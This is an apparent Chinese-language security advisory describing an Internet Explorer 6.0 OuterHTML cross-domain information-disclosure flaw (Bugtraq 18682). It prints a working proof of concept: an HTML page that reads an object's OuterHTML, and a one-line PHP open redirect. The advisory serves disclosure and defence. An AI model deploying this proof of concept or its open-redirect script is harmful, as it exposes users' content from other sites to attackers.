受影响系统：
Microsoft Internet Explorer 6.0
描述：
BUGTRAQ ID: 18682
Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer在处理网页中的
OuterHTML对象时存在漏洞，可能导致敏感信息泄露。
如果攻击者向Web Server上传了以下文件的话：
------------------------- i.html -------------------------
<html><body onload="setTimeout('alert(o.object.documentElement.
OuterHTML)',1000)">
<object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object>
</body></html>
------------------------- r.php -------------------------
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>
则在IE在打开i.html时就会显示Google Web页面的内容。
<*来源：Plebo Aesdi Nael （plebo@gmx.net）
链接：http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060627/3d930eda/PLEBO-2006.06.16-IE
*>
> >
